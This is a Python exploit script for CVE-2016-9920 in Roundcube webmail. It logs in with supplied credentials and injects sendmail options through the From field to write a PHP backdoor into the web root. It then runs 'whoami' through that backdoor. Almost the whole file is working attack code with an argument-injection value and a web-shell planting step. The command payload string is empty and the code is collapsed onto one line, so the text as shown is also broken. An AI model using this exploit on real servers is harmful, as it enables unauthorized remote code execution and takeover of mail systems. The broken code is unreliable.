#!/usr/bin/env python # CVE-2016-9920 exploit by t0kx # https://github.com/t0kx/exploit-CVE-2016-9920 import re import requests import argparse class Exploit: def __init__(self, host, user, pwd, path, www_path): self.__headers = {"Content-Type": "application/x-www-form-urlencoded"} self.__url = "http://" + host + "/" + path + "/" self.__www_folder = www_path self.__compose_id = None self.__request_token = None self.__cookie = None self.__username = user self.__password = pwd def __auth(self): data = requests.get(self.__url) match = re.search('"request_token":"([^"]+)"', data.text) self.__request_token = match.group(0).split(":")[1].replace("\"", "") self.__cookie = dict(roundcube_sessid=data.cookies["roundcube_sessid"]) def __login(self): payload = "_token=" + self.__request_token + \ "&_task=login&_action=login&_timezone=1&_dstactive=1&_url=&_user=" + \ self.__username + "&_pass=" + self.__password data = requests.post(self.__url + "?_task=login", headers=self.__headers, cookies=self.__cookie, data=payload, allow_redirects=False) if data.status_code == 302: self.__request_token = data.headers["Location"].split("token=")[1] self.__cookie = data.cookies def __compose(self): data = requests.get(self.__url + "?_task=mail&_mbox=INBOX&_action=compose", cookies=self.__cookie, allow_redirects=False) if data.status_code == 302: self.__compose_id = data.headers['Location'].split("id=")[1] def __mail(self): backdoor = self.__www_folder + "/backdoor.php" cmd = "" payload = "_token=" + self.__request_token + \ "&_task=mail&_action=send&_id=" + self.__compose_id + \ "&_attachments=&_from=example@example.com -OQueueDirectory=/tmp -X" + backdoor + \ "&_to=example@pWnexAmplE.sh&_cc=&_bcc=&_replyto=&_followupto=&_subject=" + cmd + \ "&editorSelector=plain&_priority=0&_store_target=" \ "&_draft_saveid=&_draft=&_is_html=0&_framed=1" \ "&_message=pwn" data = requests.post(self.__url + "?_task=mail&_lang=en_US&_framed=1", headers=self.__headers, cookies=self.__cookie, data=payload) if "Message sent successfully" in data.text: print("[+] Target exploited, acessing shell at " + self.__url + "backdoor.php") print("[+] Running whoami: " + self.__trigger()) print("[+] Done") else: print("[!] Failed") def __trigger(self): data = requests.get(self.__url + "backdoor.php?cmd=whoami") match = re.search('Subject: ([^"]+)', data.text) return match.group(0) \ .split("\n")[0] \ .split("Subject:")[1] \ .replace(" ", "") def run(self): self.__auth() self.__login() self.__compose() self.__mail() def main(args): print("[+] CVE-2016-9920 exploit by t0kx") print("[+] Exploiting " + args.host) exploit = Exploit(args.host, args.user, args.pwd, args.path, args.www_path) exploit.run() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('--host', required=True) parser.add_argument('--user', required=True) parser.add_argument('--pwd', required=True) parser.add_argument('--path', required=True) parser.add_argument('--www_path', required=True) args = parser.parse_args() main(args)